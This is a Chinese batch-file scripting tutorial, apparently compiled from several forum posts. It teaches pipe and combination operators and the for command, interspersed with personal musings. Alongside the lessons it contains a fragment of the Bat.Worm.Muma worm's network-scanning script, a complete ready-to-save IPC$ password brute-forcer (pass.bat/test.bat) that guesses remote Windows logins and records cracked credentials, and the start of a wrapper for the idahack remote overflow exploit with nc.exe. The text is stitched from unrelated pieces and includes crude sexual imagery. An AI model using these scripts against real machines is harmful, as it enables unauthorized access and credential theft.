IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

這是Bat.Worm.Muma病毒的起始腳本,設(shè)置了病毒運(yùn)行的環(huán)境變量。是不是看的頭都大了?又忘了寫(xiě)在第一章第一段的那句話(huà)(靜下心來(lái)?。?,你應(yīng)該能體會(huì)到學(xué)習(xí)這兩個(gè)命令所需要的耐心了吧。就如同去愛(ài)一個(gè)人,你得學(xué)會(huì)寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發(fā)現(xiàn)愛(ài)她的過(guò)程如看上面代碼的過(guò)程一樣讓你頭大,但你還是得愛(ài)下去----愛(ài)需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風(fēng)平浪靜后,最直觀的收獲就是,你的耐心變的前所未有的充足,面對(duì)她的復(fù)雜和善變,你自己會(huì)處變不驚,以自己的方式去從容應(yīng)付曾經(jīng)應(yīng)付不了的場(chǎng)面,即使到最后一身傷痕,也會(huì)感慨曾經(jīng)的舉動(dòng)有多么偉大。

沒(méi)錯(cuò),這就是批處理的魅力,這就是愛(ài)的魅力。讓你受了傷還感謝傷你的人。這種感覺(jué)就好象在自己最喜歡的音樂(lè)聲中被人強(qiáng)奸,痛并快樂(lè)著。

不得不再次重申一遍,各種DOS命令是批處理的BODY(我實(shí)在找不出一個(gè)更合適的詞來(lái)形容他們之間的關(guān)系),學(xué)好DOS命令是學(xué)好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批處理里的應(yīng)用非常廣泛。這篇教程的作用,是教你認(rèn)識(shí)批處理,以及如何利用DOS命令組合出來(lái)一個(gè)完美的批處理腳本,去讓它自動(dòng)完成你想要它做的事情。而靈活自如的編輯一個(gè)批處理腳本是建立在熟練掌握DOS命令的基礎(chǔ)上的,這已經(jīng)超出了本文的范疇,在此就不贅述了。

不知不覺(jué)中第三章已經(jīng)結(jié)束了。耳麥里傳來(lái)的依然是陳曉東的《比我幸?!罚扛?分32秒就自動(dòng)重播。雖然我不并不很喜歡陳曉東,可這并不妨礙我喜歡音樂(lè),喜歡這首描寫(xiě)的如此讓人感慨的歌。請(qǐng)你一定要比我幸福/才不枉費(fèi)我狼狽退出/再痛也不說(shuō)苦/愛(ài)不用抱歉來(lái)彌補(bǔ)/至少我能成全你的追逐/請(qǐng)記得你要比我幸福/才值得我對(duì)自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。我如同一個(gè)因年老失色而拉不到客的老妓女,絕望的徘徊在曾經(jīng)輝煌的紅燈區(qū),用一臉的木然瞟一眼來(lái)來(lái)去去的人群,默默的回憶自己并不光彩的過(guò)去,幻想自己將要面對(duì)的未來(lái)。直到看見(jiàn)那些幸福依偎在一起的情侶們,才突然間發(fā)現(xiàn)上帝的公平,和這種公平的殘忍。

可以說(shuō),批處理腳本中最重要的幾個(gè)命令我都沒(méi)有給出如echo或if那樣比較詳細(xì)的介紹,原因我已經(jīng)說(shuō)了,因?yàn)槲乙彩莻€(gè)菜,我也不太懂----但我正在學(xué)!你呢?今天又去了一趟圖書(shū)館,淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東,藏在一個(gè)角落里落滿(mǎn)了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底層和基礎(chǔ)的東西,雖然從思路上講,已經(jīng)有點(diǎn)time out了,很多東西已經(jīng)基本沒(méi)有利用的價(jià)值(這就是信息時(shí)代的更新速度),但還是很值得看的。于是打算下午淘過(guò)來(lái),放假回去了再好好研究一番,連同那幾個(gè)不熟悉的命令一起搞熟了,再續(xù)寫(xiě)這篇教程。我始終堅(jiān)信,沒(méi)有最好只有更好。

但是很可惜,等到下午再去的時(shí)候,圖書(shū)館樓梯口已經(jīng)立了一個(gè)牌子,上面寫(xiě)著out of service----人家這學(xué)期的工作結(jié)束了。于是回到宿舍打算繼續(xù)寫(xiě)第四章,正在這時(shí)又得到一個(gè)“振奮人心”的消息:期末考試有一科掛了,而且是全班第一----這一門(mén)整個(gè)班里就掛了我一個(gè)。郁悶的情緒剎那間涌上心頭,整個(gè)世界仿佛都變成黑的了。食堂和小賣(mài)部已經(jīng)陸續(xù)關(guān)門(mén),學(xué)校里的人越來(lái)越少,迎面過(guò)來(lái)的幾個(gè)同學(xué)也都一身行李,忙碌著準(zhǔn)備回家過(guò)年,內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云,迅速而不可抗拒的占領(lǐng)了心里每一個(gè)角落。迎著一月的冷風(fēng)我一個(gè)人在天橋上發(fā)呆,還能怎么樣,連期末考試都應(yīng)付不了的失敗男人。

“課間休息”時(shí)間好象長(zhǎng)了點(diǎn),呵呵,上課了!從這一章開(kāi)始,將詳細(xì)介紹批處理中常用的幾個(gè)組合命令和管道命令。這些命令雖然不是必須的,如同愛(ài)一個(gè)人時(shí)不一定非得每天去陪,但如果少了這個(gè)過(guò)程,事情就會(huì)變的復(fù)雜而不完美,所以我認(rèn)為管道命令和組合命令是批處理的調(diào)味劑,幾乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些:|、>、>>

11、|

這個(gè)命令恐怕大家不是很陌生,經(jīng)常操作DOS的朋友都應(yīng)該知道,當(dāng)我們查看一個(gè)命令的幫助時(shí),如果幫助信息比較長(zhǎng),一屏幕顯示不完時(shí)DOS并不給我們時(shí)間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車(chē)時(shí),就會(huì)看到當(dāng)前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃而過(guò)了,如何解決這個(gè)問(wèn)題?看例十三:

help | more

回車(chē)后會(huì)發(fā)現(xiàn)顯示滿(mǎn)一屏幕后就自動(dòng)暫停,等候繼續(xù)顯示其他信息。當(dāng)按寫(xiě)回車(chē)時(shí),變成一個(gè)一個(gè)的出現(xiàn);按下空格鍵時(shí)一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動(dòng)停止返回DOS。

為什么會(huì)出現(xiàn)上述現(xiàn)象?答案很簡(jiǎn)單,這里結(jié)合了管道命令|和DOS命令more來(lái)共同達(dá)到目的的。這里先簡(jiǎn)單介紹一下help命令和more命令,對(duì)理解|命令的用法有很大幫助。

11.1、help命令。其實(shí)這個(gè)命令是不需要多說(shuō)的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結(jié)果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車(chē),則是顯示net命令的幫助信息。

11.2、more命令??赡芎芏嗯笥岩郧熬蜎](méi)有接觸過(guò)這個(gè)命令,這個(gè)命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長(zhǎng)的文章(a.txt)在DOS提示符下輸入如下兩個(gè)命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達(dá)到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結(jié)果就是只能看到末尾的部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。

看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒(méi)錯(cuò),它的作用,就是把前一命令的輸出當(dāng)后一命令的輸入來(lái)用的。在例十三里,前一命令的輸出,就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個(gè)結(jié)果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的:


help > a.txt
more a.txt
del a.txt

這里利用另一管道命令>生成了一個(gè)a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作是在內(nèi)存中進(jìn)行的,不生成文件)??梢钥闯?,正確使用管道命令|可以帶來(lái)事半功倍的效果。

結(jié)合例十三和例十四,以及前面的例九再體會(huì)一遍:|命令的作用,就是讓前一命令的輸出當(dāng)做后一命令的輸入。

12、>、>>

這兩個(gè)命令的效果從本質(zhì)上來(lái)說(shuō)都是一樣的,他們都是輸出重定向命令,說(shuō)的通俗一點(diǎn),就是把前面命令的輸出寫(xiě)入到一個(gè)文件中。這兩個(gè)命令的唯一區(qū)別是,>會(huì)清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫(xiě)入原文件,而>>只會(huì)另起一行追加新的內(nèi)容到原文件中,而不會(huì)改動(dòng)其中的原有內(nèi)容。例十五:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下輸入以上各行命令,一行一個(gè)回車(chē),將在當(dāng)前目錄下生成一個(gè)a.bat文件,里面的內(nèi)容如下:

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫(xiě)入功能編輯一個(gè)文本,而不需要專(zhuān)門(mén)的文本編輯工具;2、管道命令>和>>的區(qū)別如上所述。如果這里只用>命令來(lái)完成上面操作,最后也會(huì)生成一個(gè)a.bat,但里面的內(nèi)容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來(lái)用,除非你重定向的輸出只有一行,那么就可以只用>了。結(jié)合例一再仔細(xì)體會(huì)輸出重定向管道命令>和>>的用法。

13、<、>&、<&

這三個(gè)命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當(dāng)然如果想仔細(xì)研究的話(huà),可以自己查一下資料。

<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤(pán)中讀入。

>&,將一個(gè)句柄的輸出寫(xiě)入到另一個(gè)句柄的輸入中。

<&,剛好和>&相反,從一個(gè)句柄讀取輸入并將其寫(xiě)入到另一個(gè)句柄輸出中。

關(guān)于這三個(gè)管道命令的舉例,在后面批處理腳本的精妙應(yīng)用中還將涉及到。

下面介紹組合命令:&、&&、||

組合命令,顧名思義,就是可以把多個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)執(zhí)行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡(jiǎn)單----既然現(xiàn)在已經(jīng)成了一個(gè)文件了,那么這多個(gè)命令就要用這些組合命令連接起來(lái)放在同一行----因?yàn)榕幚碚J(rèn)行不認(rèn)命令數(shù)目。組合命令的作用,就如同給愛(ài)人陪不是,說(shuō)一句是說(shuō),說(shuō)十句也是說(shuō),不一次把好話(huà)都說(shuō)了出來(lái),效果可能會(huì)好些----當(dāng)然得排除一種特殊情況:這些話(huà)是否有先后順序,有些話(huà)是否可以同時(shí)說(shuō)。在批處理腳本里也一樣,有些時(shí)候某些命令是不能同時(shí)執(zhí)行的,后面給你說(shuō)。

剛剛又送走了一個(gè)同學(xué),人去樓空的感覺(jué)越來(lái)越明顯,望著空蕩蕩的床鋪,平日里喧鬧的宿舍就只剩下我一個(gè)人了,整個(gè)世界只有那個(gè)平時(shí)令人非常討厭的老鼠這時(shí)候才顯得可愛(ài)起來(lái)----只有它會(huì)陪著我在這不敢開(kāi)燈的漆黑夜里----一個(gè)連期末考試都應(yīng)付不了的失敗男人。失?。∥腋械娇煲粑贿^(guò)來(lái),這種失敗的壓力簡(jiǎn)直令我窒息,簡(jiǎn)直讓我的手接收不到大腦的信號(hào),簡(jiǎn)直讓這篇未完成的教程夭折。但我能怪誰(shuí)?

忙碌了一學(xué)期要過(guò)年了卻掛了科,失?。粧炝丝埔驳沽T了,竟然一個(gè)人拖全班的后退,失敗中的失敗;更失敗的,是在這最失落的時(shí)候,竟然找不到一個(gè)人可以?xún)A訴;然而最失敗的,是突然發(fā)現(xiàn)自己竟然如此脆弱,如此耐不住寂寞。不過(guò)這倒也解開(kāi)了心中疑惑很久的一個(gè)問(wèn)題:為什么明知道那段情是一個(gè)旋渦卻還心甘情愿的往里面跳----這就是青春,風(fēng)一樣的年齡,火一樣不安的心。不再愛(ài)了,我不要再一個(gè)人的時(shí)候苦苦等待;不再愛(ài)了,我不要在你給的囚籠里憐憫的愛(ài);不再愛(ài)了,我不要在別人的視線(xiàn)里如此可笑;不再愛(ài),我不再愛(ài)。就算塌下來(lái),我也要一個(gè)人扛著,頭不能低腰不能彎,不能喘息不能傾訴,因?yàn)殡m然失敗,但還是男人,是男人就不能向困難低頭!

14、&

這可以說(shuō)是最簡(jiǎn)單的一個(gè)組合命令了,它的作用是用來(lái)連接n個(gè)DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)行失敗。例十六:


copy a.txt b.txt /y & del a.txt

其實(shí)這句和move a.txt b.txt的效果是一樣的,只不過(guò)前者是分了兩步來(lái)進(jìn)行的(在后面還將涉及到具體使用哪種方法的問(wèn)題)。這個(gè)命令很簡(jiǎn)單,就不多費(fèi)口舌了,唯一需要注意的一點(diǎn)是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行。

15、&&

切記,這里介紹的幾個(gè)命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個(gè)命令也不例外,它可以把它前后兩個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個(gè)命令時(shí)會(huì)自動(dòng)判斷是否有某個(gè)命令執(zhí)行出錯(cuò),一旦發(fā)現(xiàn)出錯(cuò)后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動(dòng)化完成一些任務(wù)提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果遠(yuǎn)程主機(jī)存在user.mdb,則copy到本地e:\backup\www,如果不存在當(dāng)然就不執(zhí)行copy了。這句對(duì)搞網(wǎng)管的朋友是否有點(diǎn)用呢?呵呵。其實(shí)它和下面這句的作用是一樣的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜歡用哪個(gè)就隨便了,我沒(méi)辦法判斷dir和if兩個(gè)命令哪一個(gè)執(zhí)行效率更高,所以不知道用哪個(gè)更好,呵呵。

你是否還記得“有些命令是不能同時(shí)執(zhí)行的”?你是否相信這句話(huà)?當(dāng)然得相信,不信就給你出道題:把C盤(pán)和D盤(pán)的文件和文件夾列出到a.txt文件中。你將如何來(lái)搞定這道題?有朋友說(shuō),這還不是很easy的問(wèn)題嗎?同時(shí)執(zhí)行兩個(gè)dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:


dir c:\ && dir d:\ > a.txt

仔細(xì)研究一下這句執(zhí)行后的結(jié)果,看看是否能達(dá)到題目的要求!錯(cuò)了!這樣執(zhí)行后a.txt里只有D盤(pán)的信息!為什么?就因?yàn)檫@里&&命令和>命令不能同時(shí)出現(xiàn)一個(gè)句子里(批處理把一行看成一個(gè)句子)?。〗M合命令&&的優(yōu)先級(jí)沒(méi)有管道命令>的優(yōu)先級(jí)高(自己總結(jié)的,不妥的地方請(qǐng)指正)!所以這句在執(zhí)行時(shí)將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達(dá)到題目的要求,必須得這么寫(xiě):


dir c:\ > a.txt && dir d:\ >> a.txt

這樣,依據(jù)優(yōu)先級(jí)高低,DOS將把這句話(huà)分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會(huì)一下。

當(dāng)然這里還可以利用&命令(自己想一下道理哦):


dir c:\ > a.txt & dir d:\ >> a.txt

16、||

這個(gè)命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時(shí),當(dāng)遇到一個(gè)執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當(dāng)前目錄下是否有以s開(kāi)頭的exe文件,如果有則退出。例十九:


@echo off
dir s.exe || exit

其實(shí)這個(gè)例子是有破綻的,你看出來(lái)了嗎?其實(shí)很簡(jiǎn)單,自己試試就知道了嘛:如果存在那個(gè)exe文件,就退出;如果不存在那個(gè)exe文件,也退出!為什么?因?yàn)槿绻淮嬖谀莻€(gè).exe文件,則前一條命令dir s.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問(wèn)題呢?看例二十:


@echo off
dir s.exe || echo Didn't exist file s.exe & pause & exit

這樣執(zhí)行的結(jié)果,就能達(dá)到題目的要求,是否存在s.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當(dāng)然是讓你能看到echo輸出的內(nèi)容,否則一閃而過(guò)的窗口,echo就白寫(xiě)了。

給出兩個(gè)更好研究?jī)?yōu)先級(jí)(同時(shí)也是更難理解)的腳本,仔細(xì)研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級(jí)順序,對(duì)以后自己利用這些命令寫(xiě)腳本有很大的好處----不會(huì)出錯(cuò)!OK,請(qǐng)看例二十一和例二十二:

例二十一:


@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:


@echo off
dir a.ttt /a && dir a.txt || exit

警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé),與本人和本論壇無(wú)關(guān)。特此警告!

有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬(wàn)別小看了這幾個(gè)鬼命令,大棒槌是我的說(shuō),簡(jiǎn)直就不是人學(xué)的東西!但我還是靜下心來(lái)研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點(diǎn)不剩的交給你了,希望你好好收藏并消化吸收,當(dāng)然有錯(cuò)誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來(lái)了,請(qǐng)趕緊告訴我一聲!

這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡(jiǎn)明批處理教程”,雖然說(shuō)的比較全面,但看起來(lái)很不過(guò)癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說(shuō)人家什么,畢竟我連for /?都沒(méi)給出),而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊(cè)表等方面根本沒(méi)有介紹。我之所以花整整一章來(lái)講管道命令和組合命令,是因?yàn)樗麄儾攀桥幚淼木A和靈魂,能否正確利用好這幾個(gè)命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問(wèn)題,可以從DOS的角度出發(fā)專(zhuān)門(mén)有針對(duì)性的學(xué)習(xí),但有關(guān)這幾個(gè)命令的問(wèn)題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!

將下列代碼存為bat文件

1、如果用字典破解:pass.bat 字典文件路徑及名稱(chēng) 主機(jī) 用戶(hù)名

2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶(hù)名

密碼破解出來(lái)之后,存放于c:\pass.txt文件里面。

將下列代碼存為pass.bat文件

@echo off

echo ------------------------------------------------------------------- >>c:\pass.txt

echo ------------------------------------------------------------------- >>c:\pass.txt

date /t >>c:\pass.txt

time /t >>c:\pass.txt

echo 破解結(jié)果: >>c:\pass.txt

if "%6"=="1" goto 大棒槌是我的說(shuō)2

:大棒槌是我的說(shuō)1

start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

goto quit

:大棒槌是我的說(shuō)2

start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

:quit

將下列代碼存為test.bat

net use \%1\ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2

:answer0

echo 遠(yuǎn)程主機(jī):"%1" >>c:\pass.txt

echo 用 戶(hù):"%3" >>c:\pass.txt

echo 密 碼:%2 >>c:\pass.txt

net use \%1\ipc$ /delet

exit

:answer2


For

對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。

可以在批處理程序中或直接從命令提示符使用 for 命令。

要在批處理程序中使用 for 命令,請(qǐng)使用以下語(yǔ)法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,請(qǐng)使用以下語(yǔ)法:

for %variable in (set) do command [command-parameters]

參數(shù)

%%variable 或 %variable

代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過(guò)命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫(xiě)。

(set)

指定要用指定的命令處理的一個(gè)或多個(gè)文件或文本字符串。需要括號(hào)。

command

指定要在指定的 set 所包含的每個(gè)文件上執(zhí)行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開(kāi)關(guān))的任何參數(shù)或開(kāi)關(guān)。

如果啟用了命令擴(kuò)展(Windows 2000 中的默認(rèn)設(shè)置),將支持 for 命令的其他形式。

For 命令的其他形式

如果啟用了命令擴(kuò)展,將支持如下 for 命令的其他格式:

只限于目錄

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符( 和 ?),則指定與目錄名匹配,而不是文件名。

遞歸

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

進(jìn)入根目錄樹(shù)[drive:]path,在樹(shù)的每個(gè)目錄中執(zhí)行 for 語(yǔ)句。如果在 /R 后沒(méi)有指定目錄,則假定為當(dāng)前目錄。如果 set 只是一個(gè)句號(hào) (.) 字符,則只列舉目錄樹(shù)。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步長(zhǎng)量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。

BAT文件技巧

文章結(jié)構(gòu)

1. 所有內(nèi)置命令的幫助信息

2. 環(huán)境變量的概念

3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開(kāi))

4. 簡(jiǎn)單批處理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

######################################################################

1. 所有內(nèi)置命令的幫助信息

######################################################################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面將所有上面的幫助輸出到一個(gè)文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

######################################################################

2. 環(huán)境變量的概念

######################################################################

_

C:Program Files>set

ALLUSERSPROFILE=C:Documents and SettingsAll Users

CommonProgramFiles=C:Program FilesCommon Files

COMPUTERNAME=FIRST

ComSpec=C:WINNTsystem32cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:WINNTsystem32os2dll;

Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSORLEVEL=6

PROCESSORREVISION=0605

ProgramFiles=C:Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:WINNT

TEMP=C:WINNTTEMP

TMP=C:WINNTTEMP

USERPROFILE=C:Documents and SettingsDefault User

windir=C:WINNT

path: 表示可執(zhí)行程序的搜索路徑. 我的建議是你把你的程序copy 到

%windir%system32. 這個(gè)目錄里面. 一般就可以自動(dòng)搜索到.

語(yǔ)法: copy mychenxu.exe %windir%system32.

使用點(diǎn)(.) 便于一目了然

對(duì)環(huán)境變量的引用使用(英文模式,半角)雙引號(hào)

%windir% 變量

%%windir%% 二次變量引用.

我們常用的還有

%temp% 臨時(shí)文件目錄

%windir% 系統(tǒng)目錄

%errorlevel% 退出代碼

輸出文件到臨時(shí)文件目錄里面.這樣便于當(dāng)前目錄整潔.

對(duì)有空格的參數(shù). 你應(yīng)該學(xué)會(huì)使用雙引號(hào)("") 來(lái)表示比如對(duì)porgram file文件夾操作

C:>dir p

C: 的目錄

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 個(gè)文件 2,164 字節(jié)

1 個(gè)目錄 1,505,997,824 可用字節(jié)

C:>cd pro

C:Program Files>

C:>

C:>cd "Program Files"

C:Program Files>

######################################################################

3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開(kāi))

######################################################################

微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用

con nul aux / | || && ^ > <

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作為前導(dǎo)字符表示.或者就只有使用雙引號(hào)""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 創(chuàng)建一個(gè)文件

>> 追加到一個(gè)文件后面

@ 前綴字符.表示執(zhí)行時(shí)本行在cmd里面不顯示, 可以使用 echo off關(guān)閉顯示

^ 對(duì)特殊符號(hào)( > < &)的前導(dǎo)字符. 第一個(gè)只是顯示aaa 第二個(gè)輸出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一樣的缺省分隔符號(hào).

; 注釋,表示后面為注釋

: 標(biāo)號(hào)作用

| 管道操作

& Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功

dir c:.exe & dir d:.exe & dir e:.exe

&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒(méi)有出錯(cuò)則一直執(zhí)行完所有命令;

|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒(méi)有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;

常用語(yǔ)法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母順序 ijklmnopq依次取參數(shù).

eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè))

skip=n - 指在文件開(kāi)始時(shí)忽略的行數(shù)。

delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。

######################################################################

4. 簡(jiǎn)單批處理文件概念

######################################################################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二個(gè)echo是追加

第三個(gè)echo將清空a.txt 重新創(chuàng)建 a.txt

netstat -n | find "3389"

這個(gè)將要列出所有連接3389的用戶(hù)的ip.

test.bat__

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不顯示注釋語(yǔ)句,本行顯示

@rem 不顯示注釋語(yǔ)句,本行不顯示

@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

下面我們以具體的一個(gè)idahack程序就是ida遠(yuǎn)程溢出為例子.應(yīng)該是很簡(jiǎn)單的.

ida.bat_

@rem ver 1.0

@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

